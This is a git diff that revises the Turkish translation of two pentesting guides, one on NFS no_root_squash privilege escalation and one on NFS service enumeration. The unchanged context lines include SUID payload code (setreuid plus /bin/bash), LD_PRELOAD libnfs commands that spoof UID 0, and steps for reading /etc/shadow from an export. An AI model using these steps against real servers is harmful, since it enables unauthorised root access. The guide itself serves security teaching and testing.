Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash

This commit is contained in:
Translator 2025-02-05 09:39:24 +00:00
parent 37bcfa127d
commit feac8b71e8
2 changed files with 33 additions and 33 deletions

View File

@ -5,7 +5,7 @@
NFS genellikle (özellikle linux'ta) dosyalara erişim sağlamak için istemci tarafından belirtilen `uid` ve `gid`'ye güvenir (kerberos kullanılmıyorsa). Ancak, sunucuda bu davranışı **değiştirebilecek** bazı yapılandırmalar vardır:
- **`all_squash`**: Tüm erişimleri her kullanıcı ve grubu **`nobody`** (65534 unsigned / -2 signed) olarak eşleştirerek sıkıştırır. Bu nedenle, herkes `nobody`'dir ve kullanıcı kullanılmaz.
- **`root_squash`/`no_all_squash`**: Bu, Linux'ta varsayılandır ve **sadece uid 0 (root) ile erişimi sıkıştırır**. Bu nedenle, herhangi bir `UID` ve `GID` güvenilir, ancak `0` `nobody`'ye sıkıştırılır (bu nedenle root taklidi mümkün değildir).
- **`root_squash`/`no_all_squash`**: Bu, Linux'ta varsayılandır ve **yalnızca uid 0 (root) ile erişimi sıkıştırır**. Bu nedenle, herhangi bir `UID` ve `GID` güvenilir, ancak `0` `nobody`'ye sıkıştırılır (bu nedenle root taklidi mümkün değildir).
- **`no_root_squash`**: Bu yapılandırma etkinleştirildiğinde, root kullanıcısını bile sıkıştırmaz. Bu, bu yapılandırma ile bir dizini bağlarsanız, onu root olarak erişebileceğiniz anlamına gelir.
**/etc/exports** dosyasında, **no_root_squash** olarak yapılandırılmış bir dizin bulursanız, o dizine **istemci olarak erişebilir** ve o dizin içinde **yerel makinenin** **root**'uymuş gibi **yazabilirsiniz**.
@ -13,7 +13,7 @@ NFS genellikle (özellikle linux'ta) dosyalara erişim sağlamak için istemci t
**NFS** hakkında daha fazla bilgi için kontrol edin:
{{#ref}}
/network-services-pentesting/nfs-service-pentesting.md
../../network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
# Yetki Yükseltme
@ -37,7 +37,7 @@ cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
Seçenek 2, c derlenmiş kod kullanarak:
- **O dizini** bir istemci makinesine **bağlamak** ve **root olarak** bağlı klasöre SUID iznini kötüye kullanacak derlenmiş yükümüzü kopyalamak, ona **SUID** hakları vermek ve **kurban** makineden o ikiliyi çalıştırmak (burada bazı [C SUID yüklerini](payloads-to-execute.md#c) bulabilirsiniz).
- **O dizini** bir istemci makinesine **bağlamak** ve **root olarak** bağlı klasöre SUID iznini kötüye kullanacak derlenmiş yükümüzü kopyalamak, ona **SUID** hakları vermek ve **kurban** makineden o ikili dosyayı çalıştırmak (burada bazı[C SUID yüklerini](payloads-to-execute.md#c) bulabilirsiniz).
- Önceki gibi aynı kısıtlamalar.
```bash
#Attacker, as root user
@ -52,21 +52,21 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Local Exploit
## Yerel Sömürü
> [!NOTE]
> Makinenizden kurban makinesine bir **tünel oluşturabiliyorsanız, bu ayrıcalık yükseltmesini istismar etmek için uzaktan versiyonu kullanmaya devam edebilirsiniz**.\
> Aşağıdaki hile, dosya `/etc/exports` **bir IP gösteriyorsa** geçerlidir. Bu durumda **uzaktan istismarı kullanamayacaksınız** ve **bu hileyi istismar etmeniz gerekecek**.\
> İstismarın çalışması için bir diğer gereklilik, **`/etc/export` içindeki dışa aktarmanın** **`insecure` bayrağını kullanmasıdır**.\
> Makinenizden kurban makinesine bir **tünel oluşturabiliyorsanız, gerekli portları tünelleyerek bu ayrıcalık yükseltmesini sömürmek için Uzaktan sürümü kullanabilirsiniz**.\
> Aşağıdaki hile, dosya `/etc/exports` **bir IP gösteriyorsa** geçerlidir. Bu durumda **uzaktan sömürü kullanamayacaksınız** ve **bu hileyi istismar etmeniz gerekecek**.\
> Sömürünün çalışması için bir diğer gereklilik, **`/etc/export` içindeki dışa aktarmanın** **`insecure` bayrağını kullanmasıdır**.\
> --_Eğer `/etc/export` bir IP adresi gösteriyorsa bu hilenin çalışıp çalışmayacağından emin değilim_--
## Basic Information
## Temel Bilgiler
Senaryo, yerel bir makinede monte edilmiş bir NFS paylaşımını istismar etmeyi içeriyor ve NFSv3 spesifikasyonundaki bir açığı kullanarak istemcinin uid/gid belirtmesine olanak tanıyor, bu da yetkisiz erişimi mümkün kılabilir. İstismar, NFS RPC çağrılarını sahtelemek için bir kütüphane olan [libnfs](https://github.com/sahlberg/libnfs) kullanmayı içeriyor.
Senaryo, yerel bir makinede monte edilmiş bir NFS paylaşımını istismar etmeyi içerir ve bu, istemcinin uid/gid'ini belirtmesine izin veren NFSv3 spesifikasyonundaki bir hatayı kullanarak yetkisiz erişim sağlama potansiyeli taşır. Sömürü, NFS RPC çağrılarını sahtelemek için bir kütüphane olan [libnfs](https://github.com/sahlberg/libnfs) kullanmayı içerir.
### Compiling the Library
### Kütüphaneyi Derleme
Kütüphane derleme adımları, çekirdek sürümüne bağlı olarak ayarlamalar gerektirebilir. Bu özel durumda, fallocate sistem çağrıları yorum satırına alınmıştı. Derleme süreci aşağıdaki komutları içerir:
Kütüphane derleme adımları, çekirdek sürümüne bağlı olarak ayarlamalar gerektirebilir. Bu özel durumda, fallocate sistem çağrıları yorum satırına alınmıştır. Derleme süreci aşağıdaki komutları içerir:
```bash
./bootstrap
./configure
@ -83,7 +83,7 @@ cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **Paylaşımda istismarı yerleştirin ve uid'i sahteleyerek izinlerini değiştirin:**
2. **Paylaşımda istismarı yerleştirin ve uid'i taklit ederek izinlerini değiştirin:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
@ -97,7 +97,7 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/
```
## Bonus: NFShell için Gizli Dosya Erişimi
Root erişimi elde edildikten sonra, sahipliği değiştirmeden NFS paylaşımı ile etkileşimde bulunmak için (iz bırakmamak için) bir Python betiği (nfsh.py) kullanılır. Bu betik, erişilen dosyanın uid'sini eşleştirerek, paylaşım üzerindeki dosyalarla izin sorunları olmadan etkileşimde bulunulmasını sağlar:
Root erişimi elde edildikten sonra, sahipliği değiştirmeden (iz bırakmamak için) NFS paylaşımı ile etkileşimde bulunmak için bir Python betiği (nfsh.py) kullanılır. Bu betik, erişilen dosyanın uid'sini eşleştirerek, paylaşım üzerindeki dosyalarla izin sorunları olmadan etkileşimde bulunulmasını sağlar:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html

View File

@ -1,4 +1,4 @@
# 2049 - NFS Servisi Pentesting
# 2049 - NFS Servisini Pentest Etme
{{#include ../banners/hacktricks-training.md}}
@ -10,17 +10,17 @@
```
2049/tcp open nfs 2-3 (RPC #100003
```
### Kimlik Doğrulama
### Authentication
Bu protokolün dikkat çekici bir yönü, genellikle yerleşik **kimlik doğrulama** veya **yetkilendirme mekanizmalarının** eksikliğidir. Bunun yerine, yetkilendirme **dosya sistemi bilgilerine** dayanır; sunucu, **istemci tarafından sağlanan kullanıcı bilgilerini** dosya sisteminin gerektirdiği **yetkilendirme formatına** doğru bir şekilde çevirmekle görevlidir ve bu genellikle **UNIX sözdizimini** takip eder.
Bu protokolün dikkat çekici bir yönü, genellikle yerleşik **authentication** veya **authorization mechanisms** eksikliğidir. Bunun yerine, yetkilendirme **dosya sistemi bilgilerine** dayanır ve sunucu, **istemci tarafından sağlanan kullanıcı bilgilerini** dosya sisteminin gerektirdiği **yetkilendirme formatına** doğru bir şekilde çevirmekle görevlidir; bu genellikle **UNIX syntax**'ını takip eder.
Kimlik doğrulama genellikle **UNIX `UID`/`GID` tanımlayıcıları ve grup üyeliklerine** dayanır. Ancak, istemciler ve sunucular arasındaki **`UID`/`GID` eşleştirmelerindeki** olası uyumsuzluk nedeniyle bir zorluk ortaya çıkar; bu durum sunucunun ek bir doğrulama yapmasına olanak tanımaz. Dahası, bu bilgiler istemci tarafından gönderilir ve sunucu tarafından güvenilir kabul edilir, bu nedenle kötü niyetli bir istemci, daha ayrıcalıklı `uid` ve `gid`'ler göndererek başka bir kullanıcıyı **taklit edebilir**.
Authentication genellikle **UNIX `UID`/`GID` tanımlayıcıları ve grup üyeliklerine** dayanır. Ancak, istemciler ve sunucular arasındaki **`UID`/`GID` eşleştirmelerindeki** potansiyel uyumsuzluk nedeniyle bir zorluk ortaya çıkar; bu durum sunucunun ek bir doğrulama yapmasına olanak tanımaz. Dahası, bu bilgiler istemci tarafından gönderilir ve sunucu tarafından güvenilir kabul edilir, bu nedenle kötü niyetli bir istemci, daha ayrıcalıklı `uid` ve `gid`'ler göndererek başka bir kullanıcıyı **taklit edebilir**.
**Ancak, varsayılan olarak NFS kullanarak `UID` 0 (root) taklit etmek mümkün değildir. Bununla ilgili daha fazla bilgi squashing bölümünde bulunmaktadır.**
#### Ana Bilgisayarlar
#### Hosts
Daha iyi (veya bazı) yetkilendirme için, NFS paylaşımına erişebilecek **ana bilgisayarları** belirtebilirsiniz. Bu, Linux'taki `/etc/exports` dosyasında yapılabilir. Örneğin:
Daha iyi (veya bazı) yetkilendirme için, NFS paylaşımına erişebilecek **hosts**'ları belirtebilirsiniz. Bu, Linux'taki `/etc/exports` dosyasında yapılabilir. Örneğin:
```
/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i)
@ -31,24 +31,24 @@ As you can see, it allows to configure a specific **IP** or **hostname** to acce
- **NFSv2**: Bu versiyon, çeşitli sistemlerle geniş uyumluluğu ile tanınır ve başlangıçta çoğunlukla UDP üzerinden gerçekleştirilen işlemlerle önemini vurgular. Serinin **en eski** versiyonu olarak, gelecekteki gelişmeler için temel oluşturmuştur.
- **NFSv3**: Bir dizi iyileştirme ile tanıtılan NFSv3, değişken dosya boyutlarını destekleyerek ve geliştirilmiş hata raporlama mekanizmaları sunarak selefinin üzerine çıkmıştır. İlerlemelerine rağmen, NFSv2 istemcileri ile tam geriye dönük uyumlulukta sınırlamalarla karşılaşmıştır.
- **NFSv3**: Bir dizi iyileştirme ile tanıtılan NFSv3, değişken dosya boyutlarını destekleyerek ve geliştirilmiş hata raporlama mekanizmaları sunarak selefinin üzerine çıkmıştır. Gelişmelerine rağmen, NFSv2 istemcileri ile tam geriye dönük uyumlulukta sınırlamalarla karşılaşmıştır.
- **NFSv4**: NFS serisinde bir dönüm noktası olan NFSv4, ağlar üzerinden dosya paylaşımını modernize etmek için tasarlanmış bir dizi özellik getirmiştir. Dikkate değer iyileştirmeler arasında **yüksek güvenlik** için Kerberos entegrasyonu, güvenlik duvarlarını aşabilme ve portmapper gerektirmeden İnternet üzerinden çalışabilme yeteneği, Erişim Kontrol Listeleri (ACL'ler) desteği ve durum tabanlı işlemlerin tanıtımı bulunmaktadır. Performans iyileştirmeleri ve durumlu bir protokolün benimsenmesi, NFSv4'ü ağ dosya paylaşım teknolojilerinde önemli bir ilerleme olarak ayırmaktadır.
- **NFSv4**: NFS serisinde bir dönüm noktası olan NFSv4, ağlar üzerinden dosya paylaşımını modernize etmek için tasarlanmış bir dizi özellik sunmuştur. Dikkate değer iyileştirmeler arasında **yüksek güvenlik** için Kerberos entegrasyonu, güvenlik duvarlarını aşabilme yeteneği ve port haritalayıcılarına ihtiyaç duymadan İnternet üzerinden çalışabilme, Erişim Kontrol Listeleri (ACL'ler) desteği ve durum tabanlı işlemlerin tanıtımı bulunmaktadır. Performans iyileştirmeleri ve durumlu bir protokolün benimsenmesi, NFSv4'ü ağ dosya paylaşım teknolojilerinde önemli bir gelişme olarak ayırmaktadır.
- Bir Linux ana bilgisayarının NFS'nin kerberos kimlik doğrulamasını desteklemesi çok garip bir durumdur.
Her NFS versiyonu, ağ ortamlarının gelişen ihtiyaçlarını karşılamak amacıyla geliştirilmiş, güvenlik, uyumluluk ve performansı kademeli olarak artırmıştır.
### Squashing
Daha önce belirtildiği gibi, NFS genellikle istemcinin `uid` ve `gid`'sine dosyalara erişim için güvenmektedir (kerberos kullanılmıyorsa). Ancak, sunucuda bu davranışı **değiştirebilecek** bazı yapılandırmalar vardır:
Daha önce belirtildiği gibi, NFS genellikle istemcinin `uid` ve `gid`'sine dosyalara erişim için güvenmektedir (eğer kerberos kullanılmıyorsa). Ancak, sunucuda bu davranışı **değiştirebilecek** bazı yapılandırmalar vardır:
- **all_squash**: Tüm erişimleri her kullanıcı ve grubu **`nobody`** (65534 unsigned / -2 signed) olarak eşleştirerek sıkıştırır. Bu nedenle, herkes `nobody`'dir ve kullanıcı kullanılmaz.
- **root_squash/no_all_squash**: Bu, Linux'ta varsayılan olarak **sadece uid 0 (root)** ile erişimi sıkıştırır. Bu nedenle, herhangi bir `UID` ve `GID` güvenilir, ancak `0` `nobody`'ye sıkıştırılır (bu nedenle root taklidi mümkün değildir).
- **no_root_squash**: Bu yapılandırma etkinleştirildiğinde, root kullanıcısını bile sıkıştırmaz. Bu, bu yapılandırma ile bir dizini bağlarsanız, root olarak erişebileceğiniz anlamına gelir.
### Alt ağa kontrolü
### Alt ağa kontrol
Sadece Linux'ta mevcuttur. man(5) exports der ki: "Bir dosya sisteminin bir alt dizini dışa aktarılmışsa, ancak tüm dosya sistemi değilse, her NFS isteği geldiğinde, sunucu yalnızca erişilen dosyanın uygun dosya sisteminde olduğunu kontrol etmekle kalmaz (bu kolaydır), aynı zamanda dışa aktarılan ağaçta olduğunu da kontrol etmelidir (bu daha zordur). Bu kontrol alt ağa kontrolü olarak adlandırılır."
Sadece Linux'ta mevcuttur. man(5) exports der ki: "Bir dosya sisteminin bir alt dizini dışa aktarılmışsa, ancak tüm dosya sistemi değilse, her NFS isteği geldiğinde, sunucu yalnızca erişilen dosyanın uygun dosya sisteminde olduğunu kontrol etmekle kalmaz (bu kolaydır), aynı zamanda dışa aktarılan ağaçta olduğunu da kontrol etmelidir (bu daha zordur). Bu kontrol alt ağa kontrol olarak adlandırılır."
Linux'ta **`subtree_check` özelliği varsayılan olarak devre dışıdır.**
@ -56,8 +56,8 @@ Linux'ta **`subtree_check` özelliği varsayılan olarak devre dışıdır.**
### Showmount
Bu, **NFSv3 sunucusundan bilgi almak için** kullanılabilir, örneğin **exports** listesini, bu dışa aktarımlara **erişime izin verilen** kişileri ve hangi istemcilerin bağlı olduğunu (bir istemci sunucuya haber vermeden bağlantısını keserse bu bilgi yanlış olabilir).
**NFSv4 istemcileri doğrudan /export'a erişir** ve oradan dışa aktarımlara erişmeye çalışır, geçersiz veya herhangi bir nedenle yetkisizse başarısız olur.
Bu, **NFSv3 sunucusundan bilgi almak için** kullanılabilir, örneğin **exports** listesini, bu dışa aktarımlara **erişime izin verilen** kişileri ve hangi istemcilerin bağlı olduğunu (bir istemci sunucuya haber vermeden bağlantıyı keserse bu bilgi yanlış olabilir).
**NFSv4 istemcileri doğrudan /export**'a erişir ve oradan dışa aktarımlara erişmeye çalışır, geçersiz veya herhangi bir nedenle yetkisizse başarısız olur.
Eğer `showmount` gibi araçlar veya Metasploit modülleri bir NFS portundan bilgi göstermiyorsa, bu muhtemelen versiyon 3'ü desteklemeyen bir NFSv4 sunucusudur.
```bash
@ -75,12 +75,12 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### nfs_analyze
Bu araç [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) NFS sunucusundan **mounts**, desteklenen NFS sürümleri, bağlı IP'ler gibi birçok veri elde etmek için kullanılabilir ve hatta **exports'tan** diğer klasörlere FS içinde **kaçış yapmanın** mümkün olup olmadığını veya **`no_root_squash`'ın etkin olup olmadığını** kontrol edebilir.
Bu araç [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) NFS sunucusundan **mounts**, desteklenen NFS sürümleri, bağlı IP'ler gibi birçok veri elde etmek için kullanılabilir ve hatta **exports'tan diğer klasörlere kaçışın** mümkün olup olmadığını veya **`no_root_squash`'ın etkin olup olmadığını** kontrol edebilir.
## Mounting
Sunucunun **hangi klasörü** mount etmek için **mevcut** olduğunu öğrenmek için ona şu şekilde sorabilirsiniz:
Sunucunun **hangi klasörü** sizin için **mevcut** olduğunu öğrenmek için ona şu şekilde sorabilirsiniz:
```bash
showmount -e <IP>
```
@ -88,7 +88,7 @@ Sonra bunu kullanarak bağlayın:
```bash
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
```
**Sürüm 2'yi kullanmalısınız** çünkü **herhangi bir** **kimlik doğrulama** veya **yetkilendirme** yoktur.
**Sürüm 2'yi kullanmalısınız** çünkü **herhangi bir** **kimlik doğrulama** veya **yetkilendirme** içermez.
**Örnek:**
```bash
@ -99,17 +99,17 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
### UID ve GID'ye Güvenme
Tabii ki, burada tek sorun, varsayılan olarak root'u (`UID` 0) taklit etmenin mümkün olmamasıdır. Ancak, başka herhangi bir kullanıcıyı taklit etmek mümkündür veya `no_root_squash` etkinse root'u da taklit edebilirsiniz.
Tabii ki, burada tek sorun, varsayılan olarak root'u (`UID` 0) taklit etmenin mümkün olmamasıdır. Ancak, başka bir kullanıcıyı taklit etmek mümkündür veya `no_root_squash` etkinse root'u da taklit edebilirsiniz.
- Eğer yalnızca bazı kullanıcılar tarafından erişilebilen **dosyalar veya klasörler** içeren bir klasörü bağlarsanız ( **UID** ile). O **UID** ile **yerel olarak** bir kullanıcı **oluşturabilir** ve o **kullanıcıyı** kullanarak dosya/klasöre **erişebilirsiniz**.
- [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) adresindeki **`fuse_nfs`** aracı, dosyalara erişmek için gereken UID ve GID'yi her zaman gönderecektir.
- [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) adresindeki **`fuse_nfs`** aracı, dosyalara erişmek için her zaman gerekli UID ve GID'yi gönderecektir.
### SUID Yetki Yükseltme
Sayfayı kontrol edin:
{{#ref}}
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
### Dışa Aktarımlardan Kaçış
@ -122,7 +122,7 @@ Bu nedenle, bir dışa aktarma, **tüm dosya sisteminin** bir **alt klasörü**
Ayrıca, varsayılan olarak yalnızca root (0) kullanıcısının taklit edilmekten korunduğunu unutmayın (Squash bölümünü kontrol edin). Ancak, bir dosya **root tarafından sahiplenilmişse ancak grup 0 değilse, ona erişmek mümkündür**. Örneğin, `/etc/shadow` dosyası root tarafından sahiplenilmiştir ancak grup `shadow`'dır (Debian'da gid 42). Bu nedenle, varsayılan olarak okunabilir!
[https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) adresindeki **`nfs_analyze`** aracı, ext4, xfs, btrfs dosya sistemlerine karşı bu saldırıyı desteklemek için tasarlanmıştır, versiyon 3'te (v4'te de mümkün olmalıdır).
[https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) adresindeki **`nfs_analyze`** aracı, bu saldırıyı ext4, xfs, btrfs dosya sistemlerine karşı desteklemek için tasarlanmıştır, versiyon 3'te (v4'te de mümkün olmalıdır).
### NSFShell